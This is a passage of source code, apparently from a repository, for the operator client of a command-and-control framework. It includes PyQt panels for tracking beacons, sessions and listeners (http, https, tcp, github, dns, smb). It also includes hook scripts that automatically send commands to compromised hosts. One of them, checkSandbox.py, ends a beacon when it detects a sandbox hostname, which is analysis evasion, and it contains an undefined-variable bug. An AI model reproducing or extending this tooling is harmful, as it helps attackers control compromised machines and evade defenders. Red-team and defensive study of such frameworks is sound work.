self.getGraphInfoWorker.quit() 206 | self.thread.quit() 207 | self.thread.wait() 208 | 209 | 210 | def updateConnectors(self): 211 | for connector in self.listConnector: 212 | connector.update_line() 213 | 214 | 215 | # Update the graphe every X sec with information from the team server 216 | def updateGraph(self): 217 | 218 | # 219 | # Update beacons 220 | # 221 | responses = self.grpcClient.getSessions() 222 | sessions = list() 223 | for response in responses: 224 | sessions.append(response) 225 | 226 | # delete beacon 227 | for ix, nodeItem in enumerate(self.listNodeItem): 228 | runing=False 229 | for session in sessions: 230 | if session.beaconHash == nodeItem.beaconHash: 231 | runing=True 232 | if not runing and self.listNodeItem[ix].type == BeaconNodeItemType: 233 | for ix2, connector in enumerate(self.listConnector): 234 | if connector.beacon.beaconHash == nodeItem.beaconHash: 235 | print("[-] delete connector") 236 | self.scene.removeItem(self.listConnector[ix2]) 237 | del self.listConnector[ix2] 238 | print("[-] delete beacon", nodeItem.beaconHash) 239 | self.scene.removeItem(self.listNodeItem[ix]) 240 | del self.listNodeItem[ix] 241 | 242 | # add beacon 243 | for session in sessions: 244 | inStore=False 245 | for ix, nodeItem in enumerate(self.listNodeItem): 246 | if session.beaconHash == nodeItem.beaconHash: 247 | inStore=True 248 | if not inStore: 249 | item = NodeItem(BeaconNodeItemType, session.beaconHash, session.os, session.privilege, session.hostname) 250 | item.connectedListenerHash = session.listenerHash 251 | item.signaller.signal.connect(self.updateConnectors) 252 | self.scene.addItem(item) 253 | self.listNodeItem.append(item) 254 | print("[+] add beacon", session.beaconHash) 255 | 256 | # 257 | # Update listener 258 | # 259 | responses= self.grpcClient.getListeners() 260 | listeners = list() 261 | for listener in responses: 262 | listeners.append(listener) 263 | 264 | # delete listener 265 | for ix, nodeItem in enumerate(self.listNodeItem): 266 | runing=False 267 | for listener in listeners: 268 | if nodeItem.isResponsableForListener(listener.listenerHash): 269 | runing=True 270 | if not runing: 271 | # primary listener 272 | if self.listNodeItem[ix].type == ListenerNodeItemType: 273 | for ix2, connector in enumerate(self.listConnector): 274 | if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: 275 | print("[-] delete connector") 276 | self.scene.removeItem(self.listConnector[ix2]) 277 | del self.listConnector[ix2] 278 | print("[-] delete primary listener", nodeItem.listenerHash) 279 | self.scene.removeItem(self.listNodeItem[ix]) 280 | del self.listNodeItem[ix] 281 | 282 | # beacon listener 283 | elif self.listNodeItem[ix].type == BeaconNodeItemType: 284 | if listener.listenerHash in self.listNodeItem[ix].listenerHash: 285 | for ix2, connector in enumerate(self.listConnector): 286 | if self.listNodeItem[ix2].listenerHash in connector.listener.listenerHash: 287 | print("[-] delete connector") 288 | self.scene.removeItem(self.listConnector[ix2]) 289 | del self.listConnector[ix2] 290 | print("[-] delete secondary listener", nodeItem.listenerHash) 291 | self.listNodeItem[ix].listenerHash.remove(listener.listenerHash) 292 | 293 | # add listener 294 | for listener in listeners: 295 | inStore=False 296 | for ix, nodeItem in enumerate(self.listNodeItem): 297 | if nodeItem.isResponsableForListener(listener.listenerHash): 298 | inStore=True 299 | if not inStore: 300 | if not listener.beaconHash: 301 | item = NodeItem(ListenerNodeItemType, listener.listenerHash) 302 | item.signaller.signal.connect(self.updateConnectors) 303 | self.scene.addItem(item) 304 | self.listNodeItem.append(item) 305 | print("[+] add primary listener", listener.listenerHash) 306 | else: 307 | for nodeItem2 in self.listNodeItem: 308 | if nodeItem2.beaconHash == listener.beaconHash: 309 | nodeItem2.listenerHash.append(listener.listenerHash) 310 | print("[+] add secondary listener", listener.listenerHash) 311 | 312 | # 313 | # Update connectors 314 | # 315 | for nodeItem in self.listNodeItem: 316 | if nodeItem.type == BeaconNodeItemType: 317 | inStore=False 318 | beaconHash = nodeItem.beaconHash 319 | listenerHash = nodeItem.connectedListenerHash 320 | for connector in self.listConnector: 321 | if connector.listener.isResponsableForListener(listenerHash) and connector.beacon.beaconHash == beaconHash: 322 | inStore=True 323 | if not inStore: 324 | for listener in self.listNodeItem: 325 | if listener.isResponsableForListener(listenerHash)==True: 326 | connector = Connector(listener, nodeItem) 327 | self.scene.addItem(connector) 328 | connector.setZValue(-1) 329 | self.listConnector.append(connector) 330 | print("[+] add connector listener:", listenerHash, "beacon", beaconHash) 331 | 332 | for item in self.listNodeItem: 333 | item.setFlag(QGraphicsItem.ItemIsMovable) 334 | item.setFlag(QGraphicsItem.ItemIsSelectable) 335 | 336 | 337 | class GetGraphInfoWorker(QObject): 338 | checkin = pyqtSignal() 339 | 340 | def __init__(self, parent=None): 341 | super().__init__(parent) 342 | self.exit = False 343 | 344 | def __del__(self): 345 | self.exit=True 346 | 347 | def run(self): 348 | try: 349 | while self.exit==False: 350 | if self.receivers(self.checkin) > 0: 351 | self.checkin.emit() 352 | time.sleep(2) 353 | except Exception as e: 354 | pass 355 | 356 | def quit(self): 357 | self.exit=True 358 | 359 | -------------------------------------------------------------------------------- /C2Client/C2Client/ListenerPanel.py: -------------------------------------------------------------------------------- 1 | import time 2 | import logging 3 | 4 | from PyQt5.QtWidgets import * 5 | from PyQt5.QtGui import * 6 | from PyQt5.QtCore import * 7 | 8 | from grpcClient import * 9 | 10 | 11 | # 12 | # Constant 13 | # 14 | ListenerTabTitle = "Listeners" 15 | AddListenerWindowTitle = "Add Listener" 16 | 17 | TypeLabel = "Type" 18 | IpLabel = "IP" 19 | PortLabel = "Port" 20 | DomainLabel = "Domain" 21 | ProjectLabel = "Project" 22 | TokenLabel = "Token" 23 | 24 | HttpType = "http" 25 | HttpsType = "https" 26 | TcpType = "tcp" 27 | GithubType = "github" 28 | DnsType = "dns" 29 | SmbType = "smb" 30 | 31 | 32 | # 33 | # Listener tab implementation 34 | # 35 | class Listener(): 36 | 37 | def __init__(self, id, hash, type, host, port, nbSession): 38 | self.id = id 39 | self.listenerHash = hash 40 | self.type = type 41 | self.host = host 42 | self.port = port 43 | self.nbSession = nbSession 44 | 45 | 46 | class Listeners(QWidget): 47 | 48 | listenerScriptSignal = pyqtSignal(str, str, str, str) 49 | 50 | idListener = 0 51 | listListenerObject = [] 52 | 53 | 54 | def __init__(self, parent, grpcClient): 55 | super(QWidget, self).__init__(parent) 56 | 57 | self.grpcClient = grpcClient 58 | 59 | self.createListenerWindow = None 60 | 61 | widget = QWidget(self) 62 | self.layout = QGridLayout(widget) 63 | 64 | self.label = QLabel(ListenerTabTitle) 65 | self.layout.addWidget(self.label) 66 | 67 | # List of sessions 68 | self.listListener = QTableWidget() 69 | self.listListener.setShowGrid(False) 70 | self.listListener.setSelectionBehavior(QTableView.SelectRows) 71 | 72 | self.listListener.setRowCount(0) 73 | self.listListener.setColumnCount(4) 74 | 75 | # self.listListener.cellPressed.connect(self.listListenerClicked) 76 | self.listListener.setContextMenuPolicy(Qt.CustomContextMenu) 77 | self.listListener.customContextMenuRequested.connect(self.showContextMenu) 78 | 79 | self.listListener.verticalHeader().setVisible(False) 80 | header = self.listListener.horizontalHeader() 81 | for i in range(header.count()): 82 | header.setSectionResizeMode(i, QHeaderView.Stretch) 83 | self.layout.addWidget(self.listListener) 84 | 85 | # Thread to get listeners every second 86 | # https://realpython.com/python-pyqt-qthread/ 87 | self.thread = QThread() 88 | self.getListenerWorker = GetListenerWorker() 89 | self.getListenerWorker.moveToThread(self.thread) 90 | self.thread.started.connect(self.getListenerWorker.run) 91 | self.getListenerWorker.checkin.connect(self.getListeners) 92 | self.thread.start() 93 | 94 | self.setLayout(self.layout) 95 | 96 | 97 | def __del__(self): 98 | self.getListenerWorker.quit() 99 | self.thread.quit() 100 | self.thread.wait() 101 | 102 | 103 | def showContextMenu(self, position): 104 | index = self.listListener.indexAt(position) 105 | if not index.isValid(): 106 | menu = QMenu() 107 | menu.addAction('Add') 108 | menu.triggered.connect(self.actionClicked) 109 | menu.exec_(self.listListener.viewport().mapToGlobal(position)) 110 | else: 111 | row = index.row() 112 | self.item = str(self.listListener.item(row, 0).data(0)) 113 | 114 | menu = QMenu() 115 | menu.addAction('Stop') 116 | menu.triggered.connect(self.actionClicked) 117 | menu.exec_(self.listListener.viewport().mapToGlobal(position)) 118 | 119 | 120 | # catch stopListener menu click 121 | def actionClicked(self, action): 122 | if action.text() == "Add": 123 | self.listenerForm() 124 | elif action.text() == "Stop": 125 | hash = self.item 126 | for listenerStore in self.listListenerObject: 127 | if listenerStore.listenerHash[0:8] == hash: 128 | self.stopListener(listenerStore.listenerHash) 129 | 130 | 131 | # form for adding a listener 132 | def listenerForm(self): 133 | if self.createListenerWindow is None: 134 | self.createListenerWindow = CreateListner() 135 | self.createListenerWindow.procDone.connect(self.addListener) 136 | self.createListenerWindow.show() 137 | 138 | 139 | # send message for adding a listener 140 | def addListener(self, message): 141 | if message[0]=="github": 142 | listener = TeamServerApi_pb2.Listener( 143 | type=message[0], 144 | project=message[1], 145 | token=message[2]) 146 | elif message[0]=="dns": 147 | listener = TeamServerApi_pb2.Listener( 148 | type=message[0], 149 | domain=message[1], 150 | port=int(message[2])) 151 | else: 152 | listener = TeamServerApi_pb2.Listener( 153 | type=message[0], 154 | ip=message[1], 155 | port=int(message[2])) 156 | self.grpcClient.addListener(listener) 157 | 158 | 159 | # send message for stoping a listener 160 | def stopListener(self, listenerHash): 161 | listener = TeamServerApi_pb2.Listener( 162 | listenerHash=listenerHash) 163 | self.grpcClient.stopListener(listener) 164 | 165 | 166 | # query the server to get the list of listeners 167 | def getListeners(self): 168 | responses = self.grpcClient.getListeners() 169 | 170 | listeners = list() 171 | for response in responses: 172 | listeners.append(response) 173 | 174 | # delete listener 175 | for ix, listenerStore in enumerate(self.listListenerObject): 176 | runing=False 177 | for listener in listeners: 178 | if listener.listenerHash == listenerStore.listenerHash: 179 | runing=True 180 | # delete 181 | if not runing: 182 | del self.listListenerObject[ix] 183 | 184 | for listener in listeners: 185 | inStore=False 186 | # if listener is already on our list 187 | for ix, listenerStore in enumerate(self.listListenerObject): 188 | # maj 189 | if listener.listenerHash == listenerStore.listenerHash: 190 | inStore=True 191 | listenerStore.nbSession=listener.numberOfSession 192 | # add 193 | # if listener is not yet already on our list 194 | if not inStore: 195 | 196 | self.listenerScriptSignal.emit("start", "", "", "") 197 | 198 | if listener.type == GithubType: 199 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.project, listener.token[0:10], listener.numberOfSession)) 200 | elif listener.type == DnsType: 201 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.domain, listener.port, listener.numberOfSession)) 202 | elif listener.type == SmbType: 203 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.domain, listener.numberOfSession)) 204 | else: 205 | self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.port, listener.numberOfSession)) 206 | self.idListener = self.idListener+1 207 | 208 | self.printListeners() 209 | 210 | 211 | def printListeners(self): 212 | self.listListener.setRowCount(len(self.listListenerObject)) 213 | self.listListener.setHorizontalHeaderLabels(["Listener ID", "Type", "Host", "Port"]) 214 | for ix, listenerStore in enumerate(self.listListenerObject): 215 | 216 | listenerHash = QTableWidgetItem(listenerStore.listenerHash[0:8]) 217 | self.listListener.setItem(ix, 0, listenerHash) 218 | 219 | type = QTableWidgetItem(listenerStore.type) 220 | self.listListener.setItem(ix, 1, type) 221 | 222 | host = QTableWidgetItem(listenerStore.host) 223 | self.listListener.setItem(ix, 2, host) 224 | 225 | port = QTableWidgetItem(str(listenerStore.port)) 226 | self.listListener.setItem(ix, 3, port) 227 | 228 | 229 | class CreateListner(QWidget): 230 | 231 | procDone = pyqtSignal(list) 232 | 233 | def __init__(self): 234 | super().__init__() 235 | 236 | layout = QFormLayout() 237 | self.labelType = QLabel(TypeLabel) 238 | self.qcombo = QComboBox(self) 239 | self.qcombo.addItems([HttpType , HttpsType, TcpType, GithubType, DnsType]) 240 | self.qcombo.setCurrentIndex(1) 241 | self.qcombo.currentTextChanged.connect(self.changeLabels) 242 | self.type = self.qcombo 243 | layout.addRow(self.labelType, self.type) 244 | 245 | self.labelIP = QLabel(IpLabel) 246 | self.param1 = QLineEdit() 247 | self.param1.setText("0.0.0.0") 248 | layout.addRow(self.labelIP, self.param1) 249 | 250 | self.labelPort = QLabel(PortLabel) 251 | self.param2 = QLineEdit() 252 | self.param2.setText("8443") 253 | layout.addRow(self.labelPort, self.param2) 254 | 255 | self.buttonOk = QPushButton('&OK', clicked=self.checkAndSend) 256 | layout.addRow(self.buttonOk) 257 | 258 | self.setLayout(layout) 259 | self.setWindowTitle(AddListenerWindowTitle) 260 | 261 | 262 | def changeLabels(self): 263 | if self.qcombo.currentText() == HttpType: 264 | self.labelIP.setText(IpLabel) 265 | self.labelPort.setText(PortLabel) 266 | elif self.qcombo.currentText() == HttpsType: 267 | self.labelIP.setText(IpLabel) 268 | self.labelPort.setText(PortLabel) 269 | elif self.qcombo.currentText() == TcpType: 270 | self.labelIP.setText(IpLabel) 271 | self.labelPort.setText(PortLabel) 272 | elif self.qcombo.currentText() == GithubType: 273 | self.labelIP.setText(ProjectLabel) 274 | self.labelPort.setText(TokenLabel) 275 | elif self.qcombo.currentText() == DnsType: 276 | self.labelIP.setText(DomainLabel) 277 | self.labelPort.setText(PortLabel) 278 | 279 | 280 | def checkAndSend(self): 281 | type = self.type.currentText() 282 | param1 = self.param1.text() 283 | param2 = self.param2.text() 284 | 285 | result = [type, param1, param2] 286 | 287 | self.procDone.emit(result) 288 | self.close() 289 | 290 | 291 | class GetListenerWorker(QObject): 292 | checkin = pyqtSignal() 293 | 294 | def __init__(self, parent=None): 295 | super().__init__(parent) 296 | self.exit = False 297 | 298 | def __del__(self): 299 | self.exit=True 300 | 301 | def run(self): 302 | try: 303 | while self.exit==False: 304 | if self.receivers(self.checkin) > 0: 305 | self.checkin.emit() 306 | time.sleep(2) 307 | except Exception as e: 308 | pass 309 | 310 | def quit(self): 311 | self.exit=True 312 | -------------------------------------------------------------------------------- /C2Client/C2Client/ScriptPanel.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import logging 4 | import importlib 5 | from datetime import datetime 6 | 7 | from threading import Thread, Lock, Semaphore 8 | from PyQt5.QtWidgets import * 9 | from PyQt5.QtGui import * 10 | from PyQt5.QtCore import * 11 | 12 | from grpcClient import * 13 | 14 | 15 | # 16 | # scripts 17 | # 18 | try: 19 | import pkg_resources 20 | scriptsDir = pkg_resources.resource_filename( 21 | 'C2Client', 22 | 'Scripts' 23 | ) 24 | 25 | except ImportError: 26 | scriptsDir = os.path.join(os.path.dirname(__file__), 'Scripts') 27 | 28 | if not os.path.exists(scriptsDir): 29 | os.makedirs(scriptsDir) 30 | 31 | 32 | LoadedScripts = [] 33 | sys.path.insert(1, scriptsDir) 34 | for scriptName in os.listdir(scriptsDir): 35 | if scriptName.endswith(".py") and scriptName != "__init__.py": 36 | module_name = scriptName[:-3] 37 | try: 38 | # Dynamically import the script 39 | importedScript = importlib.import_module(module_name) 40 | LoadedScripts.append(importedScript) 41 | print(f"Successfully imported {scriptName}") 42 | except ImportError as e: 43 | print(f"Failed to import {scriptName}: {e}") 44 | 45 | 46 | # 47 | # Script tab implementation 48 | # 49 | class Script(QWidget): 50 | tabPressed = pyqtSignal() 51 | logFileName="" 52 | sem = Semaphore() 53 | 54 | def __init__(self, parent, grpcClient): 55 | super(QWidget, self).__init__(parent) 56 | self.layout = QVBoxLayout(self) 57 | self.layout.setContentsMargins(0, 0, 0, 0) 58 | 59 | self.grpcClient = grpcClient 60 | 61 | # self.logFileName=LogFileName 62 | 63 | self.editorOutput = QPlainTextEdit() 64 | self.editorOutput.setFont(QFont("Courier")); 65 | self.editorOutput.setReadOnly(True) 66 | self.layout.addWidget(self.editorOutput, 8) 67 | 68 | self.commandEditor = CommandEditor() 69 | self.layout.addWidget(self.commandEditor, 2) 70 | self.commandEditor.returnPressed.connect(self.runCommand) 71 | 72 | output = "" 73 | for script in LoadedScripts: 74 | output += script.__name__ + "\n" 75 | self.printInTerminal("Loaded Scripts:", output) 76 | 77 | 78 | def nextCompletion(self): 79 | index = self._compl.currentIndex() 80 | self._compl.popup().setCurrentIndex(index) 81 | start = self._compl.currentRow() 82 | if not self._compl.setCurrentRow(start + 1): 83 | self._compl.setCurrentRow(0) 84 | 85 | 86 | def sessionScriptMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 87 | for script in LoadedScripts: 88 | scriptName = script.__name__ 89 | try: 90 | if action == "start": 91 | methode = getattr(script, "OnSessionStart") 92 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) 93 | if output: 94 | self.printInTerminal("OnSessionStart", output) 95 | elif action == "stop": 96 | methode = getattr(script, "OnSessionStop") 97 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) 98 | if output: 99 | self.printInTerminal("OnSessionStop", output) 100 | elif action == "update": 101 | methode = getattr(script, "OnSessionUpdate") 102 | output = methode(self.grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed) 103 | if output: 104 | self.printInTerminal("OnSessionUpdate", output) 105 | except: 106 | continue 107 | 108 | 109 | def listenerScriptMethod(self, action, hash, str3, str4): 110 | for script in LoadedScripts: 111 | scriptName = script.__name__ 112 | try: 113 | if action == "start": 114 | methode = getattr(script, "OnListenerStart") 115 | output = methode(self.grpcClient) 116 | if output: 117 | self.printInTerminal("OnListenerStart", output) 118 | elif action == "stop": 119 | methode = getattr(script, "OnListenerStop") 120 | output = methode(self.grpcClient) 121 | if output: 122 | self.printInTerminal("OnListenerStop", output) 123 | except: 124 | continue 125 | 126 | 127 | def consoleScriptMethod(self, action, beaconHash, listenerHash, context, cmd, result): 128 | for script in LoadedScripts: 129 | scriptName = script.__name__ 130 | try: 131 | if action == "receive": 132 | methode = getattr(script, "OnConsoleReceive") 133 | output = methode(self.grpcClient) 134 | if output: 135 | self.printInTerminal("OnConsoleReceive", output) 136 | elif action == "send": 137 | methode = getattr(script, "OnConsoleSend") 138 | output = methode(self.grpcClient) 139 | if output: 140 | self.printInTerminal("OnConsoleSend", output) 141 | except: 142 | continue 143 | 144 | def mainScriptMethod(self, action, str2, str3, str4): 145 | for script in LoadedScripts: 146 | scriptName = script.__name__ 147 | try: 148 | if action == "start": 149 | methode = getattr(script, "OnStart") 150 | output = methode(self.grpcClient) 151 | if output: 152 | self.printInTerminal("OnStart", output) 153 | elif action == "stop": 154 | methode = getattr(script, "OnStop") 155 | output = methode(self.grpcClient) 156 | if output: 157 | self.printInTerminal("OnStop", output) 158 | except: 159 | continue 160 | 161 | 162 | def event(self, event): 163 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab: 164 | self.tabPressed.emit() 165 | return True 166 | return super().event(event) 167 | 168 | 169 | def printInTerminal(self, cmd, result): 170 | now = datetime.now() 171 | formater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [+] '+'{}'+'

' 172 | 173 | self.sem.acquire() 174 | if cmd: 175 | self.editorOutput.appendHtml(formater.format(cmd)) 176 | self.editorOutput.insertPlainText("\n") 177 | if result: 178 | self.editorOutput.insertPlainText(result) 179 | self.editorOutput.insertPlainText("\n") 180 | self.sem.release() 181 | 182 | 183 | def runCommand(self): 184 | commandLine = self.commandEditor.displayText() 185 | self.commandEditor.clearLine() 186 | self.setCursorEditorAtEnd() 187 | 188 | if commandLine == "": 189 | self.printInTerminal("", "") 190 | 191 | else: 192 | toto=1 193 | 194 | 195 | self.setCursorEditorAtEnd() 196 | 197 | 198 | # setCursorEditorAtEnd 199 | def setCursorEditorAtEnd(self): 200 | cursor = self.editorOutput.textCursor() 201 | cursor.movePosition(QTextCursor.End,) 202 | self.editorOutput.setTextCursor(cursor) 203 | 204 | 205 | class CommandEditor(QLineEdit): 206 | tabPressed = pyqtSignal() 207 | cmdHistory = [] 208 | idx = 0 209 | 210 | def __init__(self, parent=None): 211 | super().__init__(parent) 212 | 213 | QShortcut(Qt.Key_Up, self, self.historyUp) 214 | QShortcut(Qt.Key_Down, self, self.historyDown) 215 | 216 | # self.codeCompleter = CodeCompleter(completerData, self) 217 | # # needed to clear the completer after activation 218 | # self.codeCompleter.activated.connect(self.onActivated) 219 | # self.setCompleter(self.codeCompleter) 220 | # self.tabPressed.connect(self.nextCompletion) 221 | 222 | def nextCompletion(self): 223 | index = self.codeCompleter.currentIndex() 224 | self.codeCompleter.popup().setCurrentIndex(index) 225 | start = self.codeCompleter.currentRow() 226 | if not self.codeCompleter.setCurrentRow(start + 1): 227 | self.codeCompleter.setCurrentRow(0) 228 | 229 | def event(self, event): 230 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab: 231 | self.tabPressed.emit() 232 | return True 233 | return super().event(event) 234 | 235 | def historyUp(self): 236 | if(self.idx=0): 237 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 238 | self.idx=max(self.idx-1,0) 239 | self.setText(cmd.strip()) 240 | 241 | def historyDown(self): 242 | if(self.idx=0): 243 | self.idx=min(self.idx+1,len(self.cmdHistory)-1) 244 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)] 245 | self.setText(cmd.strip()) 246 | 247 | def setCmdHistory(self): 248 | cmdHistoryFile = open('.termHistory') 249 | self.cmdHistory = cmdHistoryFile.readlines() 250 | self.idx=len(self.cmdHistory)-1 251 | cmdHistoryFile.close() 252 | 253 | def clearLine(self): 254 | self.clear() 255 | 256 | def onActivated(self): 257 | QTimer.singleShot(0, self.clear) 258 | 259 | 260 | class CodeCompleter(QCompleter): 261 | ConcatenationRole = Qt.UserRole + 1 262 | 263 | def __init__(self, data, parent=None): 264 | super().__init__(parent) 265 | self.createModel(data) 266 | 267 | def splitPath(self, path): 268 | return path.split(' ') 269 | 270 | def pathFromIndex(self, ix): 271 | return ix.data(CodeCompleter.ConcatenationRole) 272 | 273 | def createModel(self, data): 274 | def addItems(parent, elements, t=""): 275 | for text, children in elements: 276 | item = QStandardItem(text) 277 | data = t + " " + text if t else text 278 | item.setData(data, CodeCompleter.ConcatenationRole) 279 | parent.appendRow(item) 280 | if children: 281 | addItems(item, children, data) 282 | model = QStandardItemModel(self) 283 | addItems(model, data) 284 | self.setModel(model) 285 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/checkSandbox.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..") 5 | 6 | from grpcClient import * 7 | 8 | 9 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 10 | if hostname == "sandboxhostname": 11 | output += "checkSandbox:\nSandbox detected ending beacon\n"; 12 | 13 | commandLine = "end" 14 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine) 15 | result = grpcClient.sendCmdToSession(command) 16 | 17 | return output 18 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/listDirectory.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..") 5 | 6 | from grpcClient import * 7 | 8 | 9 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 10 | output = "listDirectory:\n"; 11 | output += "load ListDirectory && ls\n"; 12 | 13 | commandLine = "loadModule ListDirectory" 14 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine) 15 | result = grpcClient.sendCmdToSession(command) 16 | 17 | commandLine = "ls" 18 | command = TeamServerApi_pb2.Command(beaconHash=beaconHash, listenerHash=listenerHash, cmd=commandLine) 19 | result = grpcClient.sendCmdToSession(command) 20 | 21 | return output 22 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/startListenerHttp8443.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..") 5 | 6 | from grpcClient import * 7 | 8 | 9 | def OnStart(grpcClient): 10 | output = "startListenerHttp8443:\nSend start listener https 8443\n"; 11 | 12 | listener = TeamServerApi_pb2.Listener( 13 | type="https", 14 | ip="0.0.0.0", 15 | port=8443) 16 | 17 | grpcClient.addListener(listener) 18 | 19 | return output 20 | 21 | -------------------------------------------------------------------------------- /C2Client/C2Client/Scripts/template.py.example: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/"+"..") 5 | 6 | from grpcClient import * 7 | 8 | 9 | def OnStart(grpcClient): 10 | output = "Scrip test.py: OnStart\n"; 11 | return output 12 | 13 | 14 | def OnStop(grpcClient): 15 | output = "Scrip test.py: OnStop\n"; 16 | return output 17 | 18 | 19 | def OnListenerStart(grpcClient): 20 | output = "Scrip test.py: OnListenerStart\n"; 21 | return output 22 | 23 | 24 | def OnListenerStop(grpcClient): 25 | output = "Scrip test.py: OnListenerStop\n"; 26 | return output 27 | 28 | 29 | def OnSessionStart(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 30 | output = "Scrip test.py: OnSessionStart\n"; 31 | 32 | return output 33 | 34 | 35 | def OnSessionStop(grpcClient, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed): 36 | output = "Scrip test.py: OnSessionStop\n"; 37 | return output 38 | 39 | 40 | def OnConsoleSend(grpcClient): 41 | output = "Scrip test.py: OnConsoleSend\n"; 42 | return output 43 | 44 | 45 | def OnConsoleReceive(grpcClient): 46 | output = "Scrip test.py: OnConsoleReceive\n"; 47 | return output -------------------------------------------------------------------------------- /C2Client/C2Client/SessionPanel.py: -------------------------------------------------------------------------------- 1 | import time 2 | import logging 3 | 4 | from PyQt5.QtWidgets import * 5 | from PyQt5.QtGui import * 6 | from PyQt5.QtCore import * 7 | 8 | from grpcClient import * 9 | 10 | 11 | # 12 | # Session 13 | # 14 | class Session(): 15 | 16 | def __init__(self, id, listenerHash, beaconHash, hostname, username, arch, privilege, os, lastProofOfLife, killed, internalIps, processId, additionalInformation): 17 | self.id = id 18 | self.listenerHash = listenerHash 19 | self.beaconHash = beaconHash 20 | self.hostname = hostname 21 | self.username = username 22 | self.arch = arch 23 | self.privilege = privilege 24 | self.os = os 25 | self.lastProofOfLife = lastProofOfLife 26 | self.killed = killed 27 | self.internalIps = internalIps 28 | self.processId = processId 29 | self.additionalInformation = additionalInformation 30 | 31 | 32 | class Sessions(QWidget): 33 | 34 | interactWithSession = pyqtSignal(str, str, str, str) 35 | sessionScriptSignal = pyqtSignal(str, str, str, str, str, str, str, str, str, bool) 36 | 37 | idSession = 0 38 | listSessionObject = [] 39 | 40 | 41 | def __init__(self, parent, grpcClient): 42 | super(QWidget, self).__init__(parent) 43 | 44 | self.grpcClient = grpcClient 45 | 46 | widget = QWidget(self) 47 | self.layout = QGridLayout(widget) 48 | 49 | self.label = QLabel('Sessions') 50 | self.layout.addWidget(self.label) 51 | 52 | # List of sessions 53 | self.listSession = QTableWidget() 54 | self.listSession.setShowGrid(False) 55 | self.listSession.setSelectionBehavior(QTableView.SelectRows) 56 | self.listSession.setRowCount(0) 57 | self.listSession.setColumnCount(11) 58 | 59 | self.listSession.setContextMenuPolicy(Qt.CustomContextMenu) 60 | self.listSession.customContextMenuRequested.connect(self.showContextMenu) 61 | 62 | self.listSession.verticalHeader().setVisible(False) 63 | header = self.listSession.horizontalHeader() 64 | for i in range(header.count()): 65 | header.setSectionResizeMode(i, QHeaderView.Stretch) 66 | QTimer.singleShot(100, self.switch_to_interactive) 67 | self.layout.addWidget(self.listSession) 68 | 69 | # Thread to fetch sessions every second 70 | # https://realpython.com/python-pyqt-qthread/ 71 | self.thread = QThread() 72 | self.getSessionsWorker = GetSessionsWorker() 73 | self.getSessionsWorker.moveToThread(self.thread) 74 | self.thread.started.connect(self.getSessionsWorker.run) 75 | self.getSessionsWorker.checkin.connect(self.getSessions) 76 | self.thread.start() 77 | 78 | self.setLayout(self.layout) 79 | 80 | 81 | def resizeEvent(self, event): 82 | super().resizeEvent(event) 83 | self.listSession.verticalHeader().setVisible(False) 84 | header = self.listSession.horizontalHeader() 85 | for i in range(header.count()): 86 | header.setSectionResizeMode(i, QHeaderView.Stretch) 87 | QTimer.singleShot(100, self.switch_to_interactive) 88 | 89 | 90 | def switch_to_interactive(self): 91 | header = self.listSession.horizontalHeader() 92 | for i in range(header.count()): 93 | header.setSectionResizeMode(i, QHeaderView.Interactive) 94 | 95 | def __del__(self): 96 | self.getSessionsWorker.quit() 97 | self.thread.quit() 98 | self.thread.wait() 99 | 100 | 101 | def showContextMenu(self, position): 102 | index = self.listSession.indexAt(position) 103 | if not index.isValid(): 104 | return 105 | 106 | row = index.row() 107 | self.item = str(self.listSession.item(row, 0).data(0)) 108 | 109 | menu = QMenu() 110 | menu.addAction('Interact') 111 | menu.addAction('Stop') 112 | menu.addAction('Delete') 113 | menu.triggered.connect(self.actionClicked) 114 | menu.exec_(self.listSession.viewport().mapToGlobal(position)) 115 | 116 | 117 | # catch Interact and Stop menu click 118 | def actionClicked(self, action): 119 | hash = self.item 120 | for ix, sessionStore in enumerate(self.listSessionObject): 121 | if sessionStore.beaconHash[0:8] == hash: 122 | if action.text() == "Interact": 123 | self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) 124 | elif action.text() == "Stop": 125 | self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) 126 | elif action.text() == 